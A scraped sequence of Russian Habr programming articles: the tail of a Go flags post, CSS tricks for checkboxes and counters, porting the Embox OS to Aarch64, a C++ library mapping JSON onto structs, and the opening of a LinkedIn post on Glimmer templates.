[peterbourgon/ff](https://github.com/peterbourgon/ff) – и я бы не стал писать `flagutil`, если бы не некоторые
расхождения в способах использования.
Спасибо за внимание!
Ссылки
------
* [Английская версия статьи](https://gbws.io/articles/configuration-in-go/)
* [golang.org/pkg/flag](https://golang.org/pkg/flag/)
* [github.com/gobwas/flagutil](https://github.com/gobwas/flagutil) | https://habr.com/ru/post/479882/ | null | ru | null |
# Подборка занимательных CSS рецептов «Голые пятницы #2»
Привет, Хабр! В этот раз мы поговорим о стилизации инпутов без картинок и JS, особенностях вертикальных отступов, CSS счетчиках, необъятных возможностях в именовании классов, а также расскажем, как улучшить анимацию на слабых устройствах.
#### Стилизация checkbox и radiobutton
По традиции, начнем с рубрики «пыльные полки». На хабре [уже писали](http://habrahabr.ru/post/154719/), [и не один раз](http://habrahabr.ru/post/144104/), как стилизовать инпуты без JavaScript. Но мы пойдем немного дальше, и откажемся также от картинок:
```
Checkbox
```
```
input[type=checkbox] {display: none;}
input[type=checkbox] + label:before {
content: "";
border: 1px solid #000;
font-size: 11px;
line-height: 10px;
margin: 0 5px 0 0;
height: 10px;
width: 10px;
text-align: center;
vertical-align: middle;
}
input[type=checkbox]:checked + label:before {
content: "\2713";
}
```
Как видите, вся соль в псевдоэлементах и псевдоселекторе :checked (IE9+). В коде выше мы прячем оригинальный инпут, вместо него выводим стилизованный псевдоэлемент, и при клике показываем символ Unicode в свойстве content.
Обратите внимание, что форма записи символа Unicode в CSS отличается от таковой в HTML. Здесь через слеш указывается номер символа, тогда как HTML код будет выглядеть так: ✓.
Давайте же пойдем еще дальше и АНИМИРУЕМ наш checkbox:
```
input[type=checkbox] + label:before {
content: "\2713";
color: transparent;
transition: color ease .3s;
}
input[type=checkbox]:checked + label:before {
color: #000;
}
```
или radiobutton:
```
input[type=radio] + label:before {
content: "\26AB";
border: 1px solid #000;
border-radius: 50%;
font-size: 0;
transition: font-size ease .3s;
}
input[type=radio]:checked + label:before {
font-size: 10px;
}
```
Инпутов такого рода в интернете пока что маловато, поэтому дерзайте!
Полный список символов юникода можно посмотреть [здесь](http://unicode-table.com/). Поиграться с кодом — [здесь](http://codepen.io/anon/pen/CdzwB)
#### Вертикальные отступы элемента, заданные в процентах
Невероятно, но факт. Вертикальные отступы в процентах пересчитываются исходя из ширины, а не высоты родительского элемента.
Давайте создадим 2 блока:
```
```
```
.parent {
height: 400px;
width: 200px;
}
.child {
height: 50%;
padding-top: 25%;
padding-bottom: 25%;
width: 100%;
}
```
По идее, дочерний блок должен заполнить родителя по высоте. Но что мы видим?
Т.к. проценты высчитываются от ширины родителя, высоты не хватает. Этот нюанс нужно иметь ввиду.
#### Счетчики на чистом CSS
Немногие знают, что еще со времен IE8 силами одного только CSS можно вести счет элементов.
```
1. a
2. b
3. c
```
```
.list {
counter-reset: i; //обнуляем счетчик
}
.list > li {
counter-increment: i; //присваиваем счетчику идентификатор
}
.list li:after {
content: "[" counter(i) "]"; //выводим значение
}
```
В свойстве **counter-reset** мы задаем произвольный иденитификатор (или несколько), а также начальное значение (по умолчанию = 0).
В свойстве **counter-increment** после ссылки на идентификатор также можно указывать число. Оно будет определять значение приращения счетчика (например, "**counter-increment: i 2**" выведет только четные числа).
Думаете, это можно использовать только для упорядоченных списков? А вот и нет! Счетчик работает со всеми элементами.
#### Включение аппаратного ускорения
Порой анимация некоторых элементов тормозит на слабых машинах и мобильных устройствах. Довольно популярным методом исправить это является включение аппаратного ускорения при отображении нужного элемента:
```
.block {
transform: translatez(0);
}
```
В статике вы не заметите никакой разницы, однако браузер понимает, что элемент следует обрабатывать как трехмерный, для чего включает акселерацию. Пока нет нормальной поддержки специально для этого предназначенного свойства **will-change**, данный способ вполне сойдет.
#### Классы на Unicode
Прогресс не стоит на месте, и теперь вы можете именовать классы как душе угодно:
```
. {
...
}
. {
...
}
.☭ {
...
}
.★ {
...
}
. {
...
}
```
Теперь скучные классы, типа "**arrow**" можно заменить на "**➔**"! Долой скучные буквы!
**А на самом деле**Конечно же, это была шутка. В серьезных проектах классы лучше именовать по старинке, ибо utf-8 может быть включен не везде.
#### Бонус для ретроградов
Если вам до сих пор приходится поддерживать IE7 и писать для него опостылевшие хаки через скучный символ "**\***", для вас есть отличная новость! Теперь хаки можно обозначать веселым смайликом!
```
body {
:) background: pink;
}
```
Не правда ли, такая запись намного приятнее глазу? Есть в ней какой-то символизм. После смайлика даже можно ставить пробел, и это никак не повлияет на последующие свойства!
На сегодня все. Надеемся, это подборка была удачной. До скорых встреч. | https://habr.com/ru/post/235889/ | null | ru | null |
# Портирование ОС на Aarch64
 Aarch64 — это 64-битная архитектура от ARM (иногда её называют arm64). В этой статье я расскажу, чем она отличается от "обычных" (32-битных) ARM и насколько сложно портировать на него свою систему.
Эта статья — не детальный гайд, скорее обзор тех модулей системы, которые придётся переделать, и насколько сильно архитектура в целом отличается от обычных 32-битных ARM-ов; всё это по моему личному опыту портирования [Embox](https://github.com/embox/embox/) на эту архитектуру. Для непосредственного портирования конкретной системы так или иначе придётся разбираться с документацией, в конце статьи я оставил ссылки на некоторые документы, которые могут оказаться полезны.
На самом деле, различий больше, чем сходств, и Aarch64 — это скорее новая архитектура, чем 64-битное расширение привычных ARM. Предшественником Aarch64 во многом является Aarch32 (это расширение обычного 32-битного ARM), но так как у меня не было опыта работы с ним, писать о нём я и не буду :)
Далее в статье, если я пишу о "старом" или "прежнем" ARM, я имею ввиду 32-битный ARM (с набором команд ARM).
Кратко пройдусь по списку изменений по сравнению с 32-битным ARM, а затем разберу их поподробнее.
* Регистры общего назначения стали в 2 раза шире (теперь они по 64 бита), и количество их удвоилось (т.е. теперь их не 16, а 32).
* Отказ от концепции сопроцессорных регистров, теперь к ним можно обращаться просто по имени, например `msr vbar_el1, x0` (против прежнего `mcr p15, 0, %0, c1, c1, 2`)
* Новая модель MMU (со старой никак не связана, придётся писать заново).
* Раньше было два уровня привилегий: пользовательский (соответствует режиму процессора USR) и системный (соответствует режимам SYS, IRQ, FIQ, ABT, ...), теперь всё одновременно проще и сложнее — режима теперь 4.
* AdvSIMD пришёл на смену NEON, операции с плавающей точкой делаются через него же.
Теперь подробнее по пунктам.
Регистры и набор команд
-----------------------
Регистры общего назначения — r0-r30, при этом обращаться можно к ним как к 64-битным (x0-x30) или как к 32-битным (w0-w30, доступ к младшим 32 битам).
Набор инструкций для Aarch64 называется A64. Ознакомиться с описанием инструкций можно [тут](https://developer.arm.com/architectures/learn-the-architecture/armv8-a-instruction-set-architecture). Базовые арифметические и некоторые другие команды на языке ассемблера остались прежними:
```
mov w0, w1 /* Записать значение регистра w1 в w0 */
add x0, x1, 13 /* Записать в x0 сумму x1 и числа 13 */
b label /* "Прыгнуть" на метку "label"
bl label /* "Прыгнуть" на метку "label", запомнив адрес возврата в x30 */
ldr x3, [x1, 0] /* Записать в x3 значение, на которое указывает x1 */
str x3, [x0, 0] /* Записать значение x3 по адресу, который лежит в x0 */
```
Теперь немного о различиях:
* Появился специальный "zero"-регистр `rzr/xzr/wzr`, который равен нулю при чтении (можно применять запись в регистр, но результат вычисления не будет никуда записан).
```
subs xzr, x1, x2 /* Вычесть x1 и x2 и обновить флаги NZCV, сам результат вычитания никуда не записывается */
```
* Нельзя складывать в стэк сразу много регистров (`stmfd sp!, {r0-r3}`), придётся делать это парами:
```
stp x0, x1, [sp, 16]!
stp x2, x3, [sp, 16]!
```
* Регистр PC (Program counter, указатель на текущую выполняемую инструкцию) теперь не регистр общего назначения (раньше это был R15), следовательно, к нему нельзя обращаться обычными командами (`mov`, `ldr`), только через `ret`, `bl` и так далее.
* Состояние программы теперь отображает не CPSR (этого регистра попросту нет), а регистры DAIF (содержит маску IRQ, FIQ и т.д., AIF — те самые биты A, I, F из CPSR), NZCV (биты negative, zero, carry, oVerflow — внезапно, те самые NZCV из CPSR) и System Control Register (SCTLR, для включения кэширования, MMU, endianness и так далее).
Вроде бы, этих команд достаточно, чтобы написать простенький загрузчик, который сможет передать управление в платформо-независимый код :)
Режимы исполнения и переключение между ними
-------------------------------------------
Про режимы исполнения хорошо написано в [Fundamentals of ARMv8-A](https://static.docs.arm.com/100878/0100/fundamentals_of_armv8_a_100878_0100_en.pdf), я здесь кратко перескажу суть этого документа.
В Aarch64 есть 4 уровня привилегий (Execution level, дальше сокращённо EL).
* EL3 — Secure Monitor (предполагается, что на этом уровне исполняется прошивка)
* EL2 — Гипервизор
* EL1 — ОС
* EL0 — Приложения
На 64-битной ОС можно выполнять и 32-битные, и 64-битные приложения; на 32-битной ОС можно выполнять только 32-битные приложения.
Переходы между EL совершаются либо при помощи исключений (системные вызовы, прерывания, ошибка доступа к памяти), либо при помощи команды возврата из исключения (`eret`).
Каждый EL имеет свои регистры SPSR, ELR, SP (т.е. это "banked registers").
Многие системные регистры также разделены по EL — например, регистр контекста MMU `ttbr0` — есть `ttbr0_el2`, `ttbr0_el1`, и на соответствующем EL нужно осуществлять доступ к своему регистру. Это же относится к регистрам состояния программы — DAIF, NZCV, SCTLR, SPSR, ELR...
MMU
---
Armv8-A поддерживает MMU ARMv8.2 LPA, подробнее про это можно почитать в главе D5 [ARM Architecture Reference Manual для Armv8, Armv8-A](https://static.docs.arm.com/ddi0487/ea/DDI0487E_a_armv8_arm.pdf).
Если говорить коротко, то этот MMU поддерживает страницы по 4KiB (4 уровня таблиц виртуальной памяти), 16KiB (4 уровня) и 64KiB (3 уровня). На любом из промежуточных уровней можно задать блок памяти, таким образом указывая не на следующий уровень таблицы, а на целый кусок памяти такого размера, какой должна "покрывать" таблица следующего уровня. У меня есть [давнишняя статья](https://habr.com/ru/company/embox/blog/256191/) про виртуальную память, там можно почитать про таблицы, уровни трансляции и вот это всё.
Из небольших изменений — от доменов (domain) отказались, зато добавили флажки вроде dirty bit.
В целом, кроме "блоков" вместо промежуточных таблиц трансляции, особых концептуальных изменений не замечено, MMU как MMU.
Advanced SIMD
-------------
Есть существенные AdvSIMD отличия у старого NEON, как при работе с плавающей точкой, так и с векторными операциями (SIMD). Например, если раньше D0 состоял из S0 и S1, а Q0 — из D0 и D1, то теперь это не так: Q0 соответствует D0 и S0, для Q1 — D1 и S1 и так далее. При этом поддержка VFP/SIMD обязательна, по соглашению о вызовах теперь нет никакой программной передачи параметров (то, что раньше называлось "soft float ABI", в GCC — флаг `-mfloat-abi=softfp`), так что придётся реализовывать аппаратную поддержку плавающей точки.
Было 16 регистров по 128 бит:
Стало 32 регистра по 128 бит:
Подробнее про NEON можно почитать в [этой статье](https://habr.com/ru/company/embox/blog/418295/), перечень доступных команд для Aarch64 можно найти [тут](https://www.element14.com/community/servlet/JiveServlet/previewBody/41836-102-1-229511/ARM.Reference_Manual.pdf).
Базовые операции с регистрами с плавающей точкой:
```
fadd s0, s1, s2 /* s0 = s1 + s2 */
fmul d0, d1, d2 /* d0 = d1 * d2 */
```
Базовые операции SIMD:
```
/* Для примера, было: NEON, постфикс у команды */
/* q0 = q1 + q2, каждый регистр -- вектор из 4 чисел с плавающей точкой */
vadd.s32 q0, q1, q2
/* Стало: AdvSIMD, постфиксы у регистров */
/* v0 = v1 + v2, каждый регистр -- вектор из 4 чисел с плавающей точкой */
add v0.4s, v1.4s, v2.4s
/* Сложить вектор v1 (в нём 2 64-битных числа) и записать в d1 */
addv d1, v1.ds
/* Записать в каждый из 4 элементов вектора 0 */
movi v1.4s, 0x0
```
Платформы
---------
### QEMU
В QEMU есть поддержка Aarch64. Одна из платформ — `virt`, для того, чтобы она запускалась в 64-битном режиме, нужно дополнительно передать флаг `-cpu cortex-a53`, примерно так:
```
qemu-system-aarch64 -M virt -cpu cortex-a53 -kernel ./embox -m 1024 -nographic # ./embox -- ELF-образ ядра
```
Что приятно, для этой платформы используется куча периферии, драйвера для которой уже были в Embox — например PL011 для консоли, ARM Generic Interrupt Controller и т. д. Само собой, у этих устройств другие базовые адреса регистров и другие номера прерываний, но главное — код драйверов без изменений работает на новой архитектуре. При старте системы управление находится в EL1.
### i.MX8
Из-за этой железки и было затеяно портирование на Aarch64 — i.MX8MQ Nitrogen8M.
В отличие от QEMU, u-boot передаёт управление образу в EL2, и, более того, зачем-то включает MMU (вся память мэпируется 1 к 1), что создаёт некоторые дополнительные проблемы при инициализации.
Embox уже поддерживал i.MX6, и, что хорошо, в i.MX8 часть периферии та же самая — например, UART и Ethernet, которые также заработали (пришлось подправить пару мест, где была жёсткая привязка к 32-битным адресам). С другой стороны, контроллер прерываний там другой — ARM GICv3, который достаточно сильно отличается от первой версии.
Заключение
----------
На данный момент поддержка Aarch64 в Embox не полная, но минимальный функционал уже есть — прерывания, MMU, ввод-вывод через UART. Многое ещё предстоит доработать, но первые шаги было сделать проще, чем казалось с самого начала. Документации и статей заметно меньше, чем по ARM, но информации больше, чем достаточно, чтобы со всем разобраться.
В целом, если у вас есть опыт работы с ARM, портирование на Aarch64 — посильная задача. Хотя, как обычно, можно споткнуться на какой-нибудь мелочи :)
Скачать проект, чтобы потыркать его в QEMU, можно из [нашего репозитория](https://github.com/embox/embox/), если есть какие-то вопросы — пишите в комментах, или в [рассылку](mailto:embox-devel@googlegroups.com), или [в чат в Телеграме](https://t.me/embox_chat) (есть ещё [канал](https://t.me/embox_news)).
### Полезные ссылки
* [Инструкции A64](https://developer.arm.com/architectures/learn-the-architecture/armv8-a-instruction-set-architecture)
* [Fundamentals of ARMv8-A](https://static.docs.arm.com/100878/0100/fundamentals_of_armv8_a_100878_0100_en.pdf)
* [ARM Architecture Reference Manual для Armv8, Armv8-A](https://static.docs.arm.com/ddi0487/ea/DDI0487E_a_armv8_arm.pdf)
* [Aarch64 ABI (соглашение о вызовах)](http://infocenter.arm.com/help/topic/com.arm.doc.ihi0055b/IHI0055B_aapcs64.pdf)
* [Migrating code from ARM to ARM64](https://blog.linuxplumbersconf.org/2014/ocw/system/presentations/2343/original/08%20-%20Migrating%20code%20from%20ARM%20to%20ARM64.pdf) — небольшая презентация с рекомендациями по написанию портируемого кода
### P.S.
24-25 августа мы будем выступать на [TechTrain](https://techtrain.ru/?utm_source=partner&utm_medium=Embox&utm_campaign=techtrain2019&utm_content=common), слушайте наши выступления [раз](https://techtrain.ru/2019/talks/3ugmbweakxi2tgfjvtfd1o/) [два](https://techtrain.ru/2019/talks/cvcndzoq1n46u0uucqfrz/) [три](https://techtrain.ru/2019/talks/1apgapgmijesokza2iallz/), приходите к стенду — ответим на ваши вопросы :) | https://habr.com/ru/post/463417/ | null | ru | null |
# Отображение данных в формате json на структуру C++
В идеале хотелось бы определить структуру С++
```
struct Person {
std::string name;
int age;
bool student;
} person;
```
передать экземпляр person в метод отображения вместе с данными json\_data
```
map_json_to_struct(person, json_data)
```
после чего просто пользоваться заполненной структурой
```
std::cout << person.name << " : " << person.age;
```
StructMapping пытается решить эту задачу.
**UPD** На данный момент библиотека существенно обновлена, и все, показанное здесь, (кроме основной идеи) уже не актуально. Все изменения отражены во второй статье [Отображение данных в формате json на структуру c++ и обратно (работа над ошибками)](https://habr.com/ru/post/510438/)
Для обеспечения сценария, максимально приближенного к приведенному выше, StructMapping требует от разработчика определить особым образом поля структуры.
Реализация сценария со структурой Person
========================================
```
#define MANAGED_STRUCT_NAME Person // определяем макрос, который задает имя
// структуры
BEGIN_MANAGED_STRUCT // определяем начало структуры
MANAGED_FIELD(std::string, name) // определяем поле с типом 'std::string'и именем
// 'name'
MANAGED_FIELD(int, age) // определяем поле с типом 'int' и именем 'age'
MANAGED_FIELD(bool, student) // определяем поле с типом 'bool' и именем
// 'student'
END_MANAGED_STRUCT // определяем конец структуры
#undef MANAGED_STRUCT_NAME // убираем макрос, который задавал имя структуры,
// чтобы не было варнингов о переопределении
// макроса в дальнейшем
```
создаем экземпляр
```
Person person;
```
задаем json данные
```
std::istringstream json_data(R"json(
{
"name": "Jeebs",
"age": 42,
"student": true
}
)json");
```
передаем экземпляр person в метод отображения вместе с данными json
```
struct_mapping::mapper::map_json_to_struct(person, json_data);
```
пользуемся
```
std::cout << person.name << " : " << person.age;
```
**Полностью код выглядит так**
```
#include
#include
#include "struct\_mapping/struct\_mapping.h"
#define MANAGED\_STRUCT\_NAME Person
BEGIN\_MANAGED\_STRUCT
MANAGED\_FIELD(std::string, name)
MANAGED\_FIELD(int, age)
MANAGED\_FIELD(bool, student)
END\_MANAGED\_STRUCT
#undef MANAGED\_STRUCT\_NAME
int main() {
Person person;
std::istringstream json\_data(R"json(
{
"name": "Jeebs",
"age": 42,
"student": true
}
)json");
struct\_mapping::mapper::map\_json\_to\_struct(person, json\_data);
std::cout <<
person.name << " : " <<
person.age << " : " <<
std::boolalpha << person.student <<
std::endl;
}
```
Дополнительные типы полей
=========================
Кроме простых типов (логического типа, целочисленные, с плавающей точкой и строки) поле структуры может быть так же структурой
```
MANAGED_FIELD_STRUCT(тип поля, имя поля)
```
**Например так**
```
#define MANAGED_STRUCT_NAME President <-- определяем структуру President
BEGIN_MANAGED_STRUCT
MANAGED_FIELD(std::string, name)
MANAGED_FIELD(double, mass)
END_MANAGED_STRUCT
#undef MANAGED_STRUCT_NAME
#define MANAGED_STRUCT_NAME Earth
BEGIN_MANAGED_STRUCT
MANAGED_FIELD_STRUCT(President, president) <-- определяем поле с типом President
END_MANAGED_STRUCT
#undef MANAGED_STRUCT_NAME
```
или массивом
```
MANAGED_FIELD_ARRAY(тип элемента массива, имя поля)
```
размерность массивов можно увеличивать
```
MANAGED_FIELD_ARRAY(MANAGED_ARRAY(MANAGED_ARRAY(std::string)), planet_groups)
```
**Пример определения структуры с массивами**
```
#define MANAGED_STRUCT_NAME MiB
BEGIN_MANAGED_STRUCT
MANAGED_FIELD_ARRAY(std::string, friends)
MANAGED_FIELD_ARRAY(MANAGED_ARRAY(std::string), alien_groups)
MANAGED_FIELD_ARRAY(MANAGED_ARRAY(MANAGED_ARRAY(std::string)), planet_groups)
END_MANAGED_STRUCT
#undef MANAGED_STRUCT_NAME
```
Как это работает
================
Основная задача — отобразить данные в формате json на структуру с++. Структура с++ — это набор полей. Каждое поле имеет имя и содержит значение определенного типа. Поэтому на структуру с++ отображаются json объекты. В структуре с++ типы полей соответствуют типам json значений и могут быть следующими:
* bool — хранит json значение true или false
* integral или floating point — хранит json число
* std::string — хранит json строку
* управляемая структура — хранит json объект
* управляемый массив — хранит json массив
Для решения задачи используются парсер json и управляемые структуры.
### Парсер json
При создании экземпляра парсера ему в конструкторе передается несколько функций, которые парсер будет вызывать процессе работы:
| функция | назначение |
| --- | --- |
| set\_bool | для установки логического значения |
| set\_integral | для установки целочисленного значения |
| set\_floating\_point | для установки значения с плавающей точкой |
| set\_string | для установки строкового значения |
| start\_struct | для начала json объекта |
| end\_struct | для конца json объекта |
| start\_array | для начала json массива |
| end\_array | для конца json массива |
Например для json данных
```
{
"price": 273,
"author": {
"name": "bk192077"
},
"chapters": [
"launch",
"new horizons"
]
}
```
будут выполнена следующая последовательность вызовов
```
start_struct("")
set_integral("price", 273)
start_struct("author")
set_string("name", "bk192077")
end_struct()
start_array("chapters")
set_string("", "launch")
set_string("", "new horizons")
end_array()
end_struct()
```
### Управляемые структуры
Общими словами можно сказать, что каждая управляемя структура имеет переменную (use\_name), хранящую имя используемого поля. Если use\_name не пустая, то она хранит имя поля, которому будут транслироваться события от парсера. Изначально use\_name пустая (используемых полей нет).
* если при парсинге встречается начало json объекта или json массива, то:
+ если use\_name пустая, то в нее помещается имя поля, парсинг которого был начат
+ если use\_name не пустая, то событие транслируется полю, имя которого содержится в use\_name
* если при парсинге встречается конец json объекта или json массива, то:
+ если use\_name пустая, то ничего не происходит
+ если use\_name не пустая, то событие транслируется полю, имя которого содержится в use\_name. Если после трансляции события получен признак завершения цепочки использования, то use\_name очищается
* если при парсинге встречается установка значения, то:
+ если use\_name пустая, то значение устанавливается для поля текущего экземпляра структуры по имени этого поля (а в случае массива значение добавляется в массив)
+ если use\_name не пустая, то событие транслируется полю, имя которого содержится в use\_name
Для этого управляемые структуры содержат несколько служебных функций
```
void set(std::string const &, bool) {...}
void set(std::string const &, long long) {...}
void set(std::string const &, double) {...}
void set(std::string const &, std::string const &) {...}
void use(std::string const &) {...}
bool release() {...}
```
Фактически эти функции вызываются парсером в следующем соответствии
| парсер | управляемая структура |
| --- | --- |
| set\_bool | set(std::string const &, bool) |
| set\_integral | set(std::string const &, long long) |
| set\_floating\_point | set(std::string const &, double) |
| set\_string | set(std::string const &, std::string const &) |
| start\_struct | use(std::string const &) |
| end\_struct | release() |
| start\_array | use(std::string const &) |
| end\_array | release() |
Например, для `Person`
функции `set` (почти одинаковы по реализации и перегружены по типу устанавливаемого значения)
```
void set(std::string const & field_name, bool value) {
if (use_name.empty()) {
// установка значения поля непосредственно у данного экземпляра структуры
Fs_set_field>::fs[field\_name](\*this, value);
} else {
// трансляция вызова полю, которое отмечено как используемое
Fs\_set>
::fs[use\_name](\*this, field\_name, value);
}
}
```
функция `use` (после этого все вызовы будут транслироваться полю field\_name)
```
void use(std::string const & field_name) {
if (use_name.empty()) {
// поле field_name становится используемым
use_name = field_name;
} else {
// вызов транслируется полю use_name
Fs_use>
::fs[use\_name](\*this, field\_name);
}
}
```
функция `release` (из цепочки использования удаляется последний элемент)
```
bool release() {
// это была последняя структура в цепочке использования
if (use_name.empty()) return true;
if (Fs_release>::fs[use\_name](\*this)) {
use\_name.clear();
}
// это была не последняя структура в цепочке использования
return false;
}
```
Поля управляемой структуры инициализируются значением по умолчания, которое возвращает функция инициализации. Перед возвратом значения эта функция выполняет дополнительные действия, зависящие от типа поля.
#### для простых типов
регистрируется функция, которая выполняет установку значения поля по имени этого поля. Например, для структуры `Person` и поля `age` типа `int`
*(такой код будет после подстановки макроса)*
```
int age = [] {
using value_type =
std::conditional_t, bool,
std::conditional\_t, std::string const &,
std::conditional\_t, double, long long>>>;
Fs\_set\_field>::add(
"age",
[] (Person & o, value\_type value) {
o.age = static\_cast(value);
});
using USING\_bool = bool;
return USING\_bool{};
}();
```
выражение
```
o.age = static_cast(value);
```
выполняет непосредственно установку значения для конкретного экземпляра структуры. В таком виде оно используется в gcc, для clang используется
```
bool Person::*p= &Person::age;
o.*p = static_cast(value);
```
*(различные варианты присутствуют, потому что clang не поддерживает первый вариант, а gcc падает по ICE на втором варианте)*
#### для структур и массивов
регистрируются шесть функций, каждая из которых просто вызывает такую же функцию у структуры, в которой определяется поле. Например, для структуры `Earth` и поля `president` типа `President`
```
President president = [] {
Fs_set>::add(
"president",
[] (Earth & o, std::string const & field\_name, bool value) {
o.president.set(field\_name, value);
});
Fs\_set>::add(
"president",
[] (Earth & o, std::string const & field\_name, double value) {
o.president.set(field\_name, value);
});
Fs\_set>::add(
"president",
[] (Earth & o, std::string const & field\_name, long long value) {
o.president.set(field\_name, value);
});
Fs\_set>::add(
"president",
[] (Earth & o, std::string const & field\_name, std::string const & value) {
o.president.set(field\_name, value);
});
Fs\_use>::add(
"president",
[] (Earth & o, std::string const & name) {
o.president.use(name);
});
Fs\_release>::add(
"president",
[] (Earth & o) {
return o.president.release();
});
using USING\_President = President;
return USING\_President{};
}();
```
для clang, опять же, вместо
```
o.president.set(field_name, value);
```
используется
```
President Earth::*p = &Earth::president;
auto& pp = o.*p;
pp.set(field_name, value);
```
### как все будет работать на примере следующего кода
```
#include
#include "struct\_mapping/struct\_mapping.h"
#define MANAGED\_STRUCT\_NAME Author
BEGIN\_MANAGED\_STRUCT
MANAGED\_FIELD(std::string, name)
END\_MANAGED\_STRUCT
#undef MANAGED\_STRUCT\_NAME
#define MANAGED\_STRUCT\_NAME Book
BEGIN\_MANAGED\_STRUCT
MANAGED\_FIELD(int, price)
MANAGED\_FIELD\_STRUCT(Author, author)
MANAGED\_FIELD\_ARRAY(std::string, chapters)
END\_MANAGED\_STRUCT
#undef MANAGED\_STRUCT\_NAME
int main() {
Book white\_space;
std::istringstream json\_data(R"json(
{
"price": 273,
"author": {
"name": "bk192077"
},
"chapters": [
"launch",
"new horizons"
]
}
)json");
struct\_mapping::mapper::map\_json\_to\_struct(white\_space, json\_data);
}
```
#### при компиляции
код
```
#define MANAGED_STRUCT_NAME Author
BEGIN_MANAGED_STRUCT
MANAGED_FIELD(std::string, name)
END_MANAGED_STRUCT
#undef MANAGED_STRUCT_NAME
```
определяет структуру
```
struct Author {
void set(std::string const &, bool) {...}
void set(std::string const &, std::string &) {...}
void set(std::string const &, long long) {...}
void set(std::string const &, double) {...}
void use(std::string const &) {...}
bool release() {...}
std::string name;
};
```
поле `name` будет инициализировано пустой строкой. До этой инициализации в экземпляр класса Fs\_set\_field будет добавлена функция установки значения для данного поля
```
Fs_set_field>::add(
"name",
[] (Author & o, std::string cont & value) {
o.name = value;
});
```
код
```
#define MANAGED_STRUCT_NAME Book
BEGIN_MANAGED_STRUCT
MANAGED_FIELD(int, price)
MANAGED_FIELD_STRUCT(Author, author)
MANAGED_FIELD_ARRAY(std::string, chapters)
END_MANAGED_STRUCT
#undef MANAGED_STRUCT_NAME
```
определяет структуру
```
struct Book {
void set(std::string const &, bool) {...}
void set(std::string const &, std::string &) {...}
void set(std::string const &, long long) {...}
void set(std::string const &, double) {...}
void use(std::string const &) {...}
bool release() {...}
int price;
Author author;
ManagedArray chapters;
};
```
поле `price` будет инициализировано нулем. До этой инициализации в экземпляр класса Fs\_set\_field будет добавлена функция установки значения для данного поля
```
Fs_set_field>::add(
"price",
[] (Book & o, long long value) {
o.price = static\_cast(value);
});
```
поле `author` будет инициализировано значением по умолчанию Author. До этой инициализации в экземпляры классов Fs\_ будут добавлены функции:
```
Fs_set>::add(
"author",
[] (Book & o, std::string const & field\_name, bool value) {
o.author.set(field\_name, value);
});
Fs\_set>::add(
"author",
[] (Book & o, std::string const & field\_name, double value) {
o.author.set(field\_name, value);
});
Fs\_set>::add(
"author",
[] (Book & o, std::string const & field\_name, long long value) {
o.author.set(field\_name, value);
});
Fs\_set>::add(
"author",
[] (Book & o, std::string const & field\_name, std::string cont & value) {
o.author.set(field\_name, value);
});
Fs\_use>::add(
"author",
[] (Book & o, std::string const & name) {
o.author.use(name);
});
Fs\_release>::add(
"author",
[] (Book & o) {
return o.author.release();
});
```
действия с полем `chapters` будут аналогичны действиям с полем `author`
#### при выполнении
вызов map\_json\_to\_struct создает экземпляр парсера и запускает процедуру парсинга, в процессе чего выполняются следующие действия (map\_json\_to\_struct фактически просто транслирует вызовы управляемой структуре, поэтому ее действия не рассматриваются):
| parser | managed |
| --- | --- |
| start\_struct("") | это начало самой структуры Book, поэтому map\_json\_to\_struct не транслирует этот вызов и он просто игнорируется |
| set\_integral("price", 273) | `white_space.set("price", 273)` |
| | установка значения поля price у white\_space: `Fs_set_field>::fs["price"](white\_space, 273)` |
| start\_struct("author") | после этого все вызовы white\_space будет транслировать полю author: `white_space.use("author")` |
| set\_string:("name", "bk192077") | `white_space.set("name", "bk192077")` |
| | трансляция к author (вызов метода set у author): `Fs_set>::fs["author"](white\_space, "name", "bk192077")` |
| | установка значения поля name у author: `Fs_set_field>::fs["name"](author, "bk192077")` |
| end\_struct() | `white_space.release()` |
| | трансляция к author (вызов метода release у author): `Fs_release>::fs["author"](white\_space))` |
| | после этого вызовы к white\_space не будут больше транслироваться к author |
| start\_array("chapters") | после этого все вызовы white\_space будет транслировать полю chapters: `white_space.use("chapters")` |
| set\_string:("", "launch") | `white_space.set("", "launch")` |
| | трансляция к chapters (вызов метода set у chapters): `Fs_set>::fs["chapters"](white\_space, "", "launch")` |
| | добавление в массив элемента "launch" |
| set\_string:("", "new horizons") | `white_space.set("", "new horizons")` |
| | трансляция к chapters (вызов метода set у chapters): `Fs_set>::fs["chapters"](white\_space, "", "new horizons")` |
| | добавление в массив элемента "new horizons" |
| end\_array() | `white_space.release()` |
| | трансляция к chapters (вызов метода release у chapters): `Fs_release>::fs["chapters"](white\_space))` |
| | после этого вызовы к white\_space не будут больше транслироваться к chapters |
| end\_struct("") | это конец самой структуры Book, поэтому map\_json\_to\_struct не транслирует этот вызов и он просто игнорируется |
В итоге
=======
* желаемая простота использования. В основном все сводится к определению структуры с применением набора макросов (хотя можно и вручную все прописать)
* работает медленно, но для основного применения в качестве загрузки конфигурации и начального состояния приложения подходит (скорость на этом этапе не важна)
* требуется компиляция с -std=c++17 В основном для:
+ if constexpr
+ static inline
[Библиотека доступна на GitHub](https://github.com/bk192077/struct_mapping) | https://habr.com/ru/post/506506/ | null | ru | null |
# Эксперимент с бинарным кодом в Glimmer
Перевод статьи об [эксперименте с бинарным кодом в Glimmer](https://engineering.linkedin.com/blog/2017/12/the-glimmer-binary-experience), соавторы публикации: Сара Клаттербак, Чад Хиетала и Том Дейл.
Чуть более года назад [Ember.js](https://engineering.linkedin.com/blog/2016/10/live-testing-with-play-framework-and-ember) претерпел значительные изменения. В тесном сотрудничестве между инженерами LinkedIn и Open Source сообществом, мы заменили у Ember движок для рендиранга на новую библиотеку, Glimmer VM, что улучшило производительность и значительно уменьшило размер скомпилированных шаблонов.
Glimmer относится к Handlebars шаблонам как функциональный язык программирования и компилирует их в последовательность инструкций, которые могут быть выполнены в браузере. Эти инструкции, или опкоды (прим. переводчика коды операций) кодируются в компактную структуру данных в виде JSON.
Когда мы перенесли наше веб приложение linkedin.com на Glimmer, мы увидели значительные улучшения во времени загрузки. В дополнении к уменьшению размера файлов на 40%, мы также сократили время, затрачиваемое браузером на анализ JavaScript, благодаря компиляции шаблонов в JSON. Более того, это изменение улучшило время загрузки в 90% случаев более чем на 1 секунду.
В этой статье мы обсудим недавний эксперимент по еще большему улучшению времени загрузки, полностью исключив время необходимое для синтаксического анализа скомпилированных шаблонов.
### Раскрытие эксперимента с Glimmer.js
